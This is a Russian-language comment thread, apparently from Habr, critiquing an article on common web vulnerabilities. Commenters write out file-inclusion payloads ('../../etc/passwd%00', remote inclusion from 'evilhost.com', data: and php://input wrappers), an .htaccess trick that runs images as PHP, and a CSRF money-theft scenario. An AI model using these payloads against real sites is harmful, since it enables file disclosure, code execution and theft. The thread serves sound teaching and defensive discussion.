Pull to refresh

Comments 29

Как видите, ID передаётся в открытом виде, в то время как с куками он скрыт в заголовке HTTP-запроса.

А кто мешает почитать заголовки HTTP-запроса и куки?

Избегать посторонних серверных решений для аутентификации

Гуглы, фейсбуки прочь — мы им не доверяем — они «ПОСТОРОННИЕ»

Вовремя и достаточно часто завершать сессии

Прально, пущай пользователи каждый час пароль вводят, что б не расслаблялись

ps.
Как-то не четко все, не раскрыто куча подробностей.
А кто мешает почитать заголовки HTTP-запроса и куки?
Бесспорно
Гуглы, фейсбуки прочь — мы им не доверяем — они «ПОСТОРОННИЕ»
Естественно, ваш выбор в рамках разумного
Прально, пущай пользователи каждый час пароль вводят, что б не расслаблялись
Это не касается повально всех проектов, всё зависит от конкретной цели веб-сервиса
Как-то не четко все, не раскрыто куча подробностей.
На то он и спидран, честно говоря. Я бы с удовольствием расписал всё в одной статье, но это вышел бы очень_лонглист. BTW, про CSRF и его комбинации с другими уявзимостями распишу на целый пост, с мельчайшими деталями
Думаю оговорок по использованию, а не строгих утверждений плюс ссылки на раскрывающий материал было бы достаточно.
site.com/index.php?file=../../etc/passwd%00

Null byte injection уже не работает с версии 5.3.4
Несколько нюансов — во первых, в этом конкретном случае нулл-байт и не нужен вовсе, т.к. он используется для отсечения «лишней» hard-coded строки, например:
include("modules/{$_GET['module']}/init.php");

Во-вторых, если же в строке инклуда нету ни префикса ни суффикса, как в примере в статье, то при условии allow_url_include = On появляются ещё несколько вариантов использования этой уязвимости:
1. index.php?file=http://evilhost.com/evilscript.txt
2. index.php?file=data:text/plaintext,<?php phpinfo();?>
3. index.php?file=php://input + передача в теле POST-запроса <?php phpinfo(); ?>
Ну там конкретный пример был:

site.com/index.php?file=../../etc/passwd%00

Нулевой байт там поставлен чтобы очевидно убрать .php, .html, .etc
Если бы был пример без %00 и он сработал, очевидно что включение происходит с полным именем файла.
POST так же небезопасен как и GET, поэтому фраза «Во избежание многих из этих ошибок» здесь неуместна.

Для примера приведу случай из практики:

Сайт проверялся на уязвимости, была найдена SQL Injection через параметр передаваемый методом GET, но предусмотрительный хостинг (sweb) фильтровал фразы и слова типа SELECT, UNION, FROM и так далее. Попробовал отправить данные методом POST, все получилось, он не фильтровался и сайт был «взломан».
По GET можно сформировать ссылку и убедить пользователя перейти, если GET'ом можно выполнить команду, то мы выполним её от имени этого пользователя. С POST простая ссылка не сработает.
button[type=submit] нарисовать как ссылку и обернуть в форму. Ещё как сработает.
Если операция сделана через GET — это чистая CSRF уязвимость (даже без убеждения пользователя перейти), через POST же сработает только уже в связке с XSS (встроить на страницу через JS форму, и form.submit()). Какая-никакая, а разница
Вот вам весёлый пример CSRF: superlogout.com
Действительно, весёлый пример.

["DeviantART", post("http://www.deviantart.com/users/logout")],
["LiveJournal", post("http://www.livejournal.com/logout.bml", {"action:killall": "1"})],
["YouTube", post("http://www.youtube.com", {"action_logout": "1"}, true)],
Strict-Transport-Security: max-age=expireTime
Запрет на загрузку чего-либо по незашифрованному протоколу (HTTP)

Странное пояснение. Этот заголовок сообщает браузеру, что с ресурсом надо работать только по HTTPS, т.е. отправляется при первом редиректе с HTTP на HTTPS (чтобы исключить mitm по HTTP. Естестственно, не защищает, если посещение ресурса происходит впервые для браузера).
site.com/index.php?file=images/2014/06/15/12.jpg

Чтобы что-то подобное сработало (это картинка, как я понял) как пхпшеный скрипт. То нужно в ту же директорию загрузить .htaccess c:

AddType application/x-httpd-php .php .jpg

или

ForceType application/x-httpd-php

Речь о том, что уязвимый скрипт делает include $_GET;, то есть выполняет код, помещённый в файл, причём путь к файлу получен от клиента и не проверяется. В этом случае не имеет значение, какое у файла расширение или где он находится — он будет подключен и выполнен, если у процесса PHP есть к нему доступ. Думайте об этом так:

$path = $_GET['page'];
$code = file_get_contents($path);
eval($code);
Ди. Извиняюсь, не сразу въехал, так сказать. Но сейчас вряд ли кто-то так делает.
Да, автор и написал, что это уже «маловстречаемый способ захвата сайта». Ещё более редкий, чем SQLi.
Кстати, задал 1 вопрос по CSRF на тостере и как-то не получил ответа на него.
Правильно ли я понимаю, что, если:

1) никакие данные не изменяются запросами типа GET или POST (соот. изменяются PATCH, DELETE, PUT и т.д.)
2) пользователь использует нормальный браузер, в котором запрещены кросс-сайт ajax-запросы (в общем-то любой современный браузер я так понимаю)
3) сайт защищен от XSS

из этого следует =>

атака типа CSRF невозможна?
Для CSRF можно использовать и фреймы.

Ваш сайт защищен, а другой популярный сайт нет. Через него пойдет атака на ваш.

атака «невозможна» если вы все запросы подписываете специальным токеном который уникален для каждой сессии + проверяете его у себя на сервере.
>> Ваш сайт защищен, а другой популярный сайт нет. Через него пойдет атака на ваш.

Во-первых, как написал ТС, X-Frame-Options: DENY
Во-вторых, а что там страшного может быть?

>> атака «невозможна» если вы все запросы подписываете специальным токеном который уникален для каждой сессии + проверяете его у себя на сервере.

Ну это и так понятно. Только мой способ гораздо проще, если он действительно секьюрный.

>> атака типа CSRF невозможна?

Конечно, я неправильно выразился. Не невозможна, а бесполезна.
Так в том то и дело, что для атаки не нужно встраивать ваш сайт во фрейм. X-Frame-Options: DENY не спасет. С помощью js злоумышленник создаст фрейм с формой, в полях которой будут нужные параметры будут передаваться на ваш сервер.

CSRF это очень опасная инъекция, угон аккаунтов ваших пользователей, кража кошельков и денег, спам, накрутка счетчиков, голосов, вот к чему может привести отказ от защиты.

Покажу на примере

Есть например ваш сайт Хакер.деньги, который не подписывает все действия пользователя токеном. И у пользователей этого сайта есть возможность переводить деньги другим пользователям. Для этого например нужно заполнить и послать форму на адрес
Хакер.деньги.ру/money c пост параметрами user_id — id пользователя которому вы переводите деньги и amount — количество переводимых денег.

И вот все хорошо, пользователи используют сайт, переводят деньги, у вас нет XSS -инъекций на сайте и встраивать ваш сайт во фреймы вы запретили. Вроде все ок. Но злоумышленнику, который пользовался вашим сайтом, это не помешало обнаружить CSRF, которая у вас по прежнему есть.

Еще есть такой сайт как ЖЖ. И вот с ним приключилась БЕДА. Злоумышленник, который пользовался вашим сайтом, обнаружил xss в комментариях ЖЖ. Ну есть и есть, вроде как эти проблемы касаются вашего сайта? А вот оказывается напрямую.

Злоумышленник создает скрипт, который вставляет в веб-страницу скрытый фрейм, а в него форму с полями user_id и amount. Затем заполняет эти поля, прописывая в user_id свой кошелек, а в amount какую-нибудь сумму, например 1000 рублей. А потом автосабмитом, в фоне, так чтобы пользователь ничего не заподозрил, эта форма отправляется на сервер по адресу Хакер.деньги.ру/money с нужными параметрами

Затем злоумышленник заходит на страницы всех популярных блогеров и оставляет в комментариях какую-нибудь смешную картинку и кусочек вредоносного javascript кода, который загружает этот опасный скрипт.

И все, теперь если пользователь вашего сайта Хакер.деньги.ру зайдет на страницу этого популярного блогера и в это время его сессия на сайте будет активна, то вредоносный скрипт от его имени выполнит перевод денег на кошелек злоумышленника.

Так же злоумышленник может создать свой фейковый сайт Хакер.денги.ру, который копирует дизайн вашего сайта и распространять ссылку на него на форуме поддержки. Ничего не подозревающие пользователи будут переходить на него и активировать выполнение вредоносго кода.

Поэтому ваш способ вообще ни разу не секьюрный)

>> А потом автосабмитом, в фоне, так чтобы пользователь ничего не заподозрил, эта форма отправляется на сервер по адресу Хакер.деньги.ру/money с нужными параметрами

Я же изначально поставил условие, POST-ом и GET-ом мы ничего не изменяем. Отправлять деньги мы будем PUT-ом, я вся ваша схема не работает. HTML не умеет эмулировать не-GET-POST запросы, а именно эти виды запросов подвержены CSRF. Отправлять запросы javascript-ом на другой домен мешает политика безопасности браузеров.
В общем я ситуацию пока вижу в таком ключе. По-моему в моей гипотезе все отлично. Даже странно, что во всех таких «спидранах» не предлагается такая простая защита от CSRF, ведь мы избавляемся от уязвимости на архитектурном уровне без придумывания сложных систем с токенами.

Впрочем, потенциальная уязвимость может быть во втором пункте habrahabr.ru/post/226321/#comment_7688441. Браузер может быть запущен в небезопасном режиме, или можно установить небезопасное расширение, имеющее права на кросс-доменные ajax-запросы. Поэтому, если у нас приложение работающее с критически важными данными или деньгами, таки надо генерировать CSRF-токены. Но для абсолютного большинства остальных сайтов лично мне мое решение видится гораздо более изящным решением, чем токены.
Интересно, а в чём плюсы использования PUT/PATCH/DELETE? Если я верно помню, PHP глобально поддерживает только POST и GET
>> Интересно, а в чём плюсы использования PUT/PATCH/DELETE?

Для создания REST-приложений.

>> PHP глобально поддерживает только POST и GET

В нормальных фреймворках доступ к параметрам запроса унифицирован, например, $this->request->param('my_param') для параметров из тела запроса и $this->request->query('my_param') из URL. Так что для нас разницы между POST и PUT к примеру никакой нет.
Действительно. Вполне возможно что вы правы
Пример #1: Приложение шифрует номера кредиток в базе данных, используя дефолтное кодирование. Это означает, что при получении данных они могут быть спокойно снова раскодированы. Информация должна быть зашифрована собственноручными методами с помощью одного публичного ключа, и так, чтобы только специальные бэкендовые приложения смогли расшифровать её, используя свой приватный ключ.

Честно говоря, вот это вот недоразумение лучше бы заменить на «Пример #1. Даже и не думайте хранить или обрабатывать ценные данные в своей БД, а тем более — номера карт.».
Сразу вопросы:
1) Что за «дефолтное кодирование»? При таком подходе к криптографии никакие номера карт в своей БД вообще лучше не хранить, а просто использовать внешние платежные шлюзы (т.е. аутсорсинг услуг карточного эквайринга).
2) «зашифрована собственноручными методами» — аудиторы PCI DSS моментально покрошат Вас в винегрет. Принцип Керкгоффса сформулирован в девятнадцатом веке.
3) сама идея с выделенным сервером высказана в правильном направлении, но вот попытка для для этого самостоятельно имплементировать криптографию с открытым ключом «собственноручными методами» заведомо обречена на провал.
Довольно много неточностей. Поправки:

X-Content-Type-Options: nosniff
Блокирует загрузку неподтверждённых атрибутом скриптов. (type=«text/javascript», type=«text/css»)

Это не так, X-Content-Type-Options: nosniff отключает автоопределение типа загруженного контента браузером. Некорректное определение типа может приводить к HTML-инъекциям (включая XSS) через форматы, которые не являются HTML-форатами, например javscript, json и т.п.

Как видите, ID передаётся в открытом виде, в то время как с куками он скрыт в заголовке HTTP-запроса.

Он и в заголовках передается в открытом виде. Проблема не в передаче в открытом виде, а в том, что при передаче через URI идентификатор сеанса может быть доступен третьим сторонам через Referer, утечь в разные счетчики/статистики, виден в истории просмотра и т.д.

Strict-Transport-Security… Этот заголовок сообщает браузеру, что с ресурсом надо работать только по HTTPS, т.е. отправляется при первом редиректе с HTTP на HTTPS (чтобы исключить mitm по HTTP. Естестственно, не защищает, если посещение ресурса происходит впервые для браузера).

Нет, это не так. Strict-Transport-Security сам по себе не производит редиректа. Strict-Transport-Security: должен отдаваться только в HTTPS-версии сайта, в HTTP-версии он не работает. Должен быть И редирект в HTTPS-версию И заголовок Strict-Transport-Security.

Достаточно ли силён алгоритм шифрования, и часто ли происходит его обновление?

Сторого говоря, к атакам information disclosure/leakage (утечка чувствительных данных) это прямого отношения не имеет. Слабые алгоритмы шифрования и MitM — это отдельный класс атак.

10. Невалидированные редиректы

Суть в том, что пользователи, доверяя вашему сайту могут переходить по любым ссылкам. Вы часто встречали сообщение вроде «Вы покидаете наш сайт, переходя по ссылке ...», так вот это и есть не что иное, как простейшая защита от подобного рода уязвимостей. Злоумышленник может воспользоваться подобного рода редиректами через ваш сайт на угодные ему страницы.


Описана другая атака. Open redirect это возможность перенаправить пользователя на другой сайт по ссылке на ваш без каких-либо дополнительных ссылок. Т.е. когда делается 301/302 редирект или его аналог через location в джаваскрипт и т.п. по аргументу, который указан в URL, например.

Тема CSRF не раскрыта, а это самая частая уязвимость и может быть весьма важной.

Вместо конкретного случая PHP include следует рассмотреть общий случай — SSI (server-side include).
Only those users with full accounts are able to leave comments. Log in, please.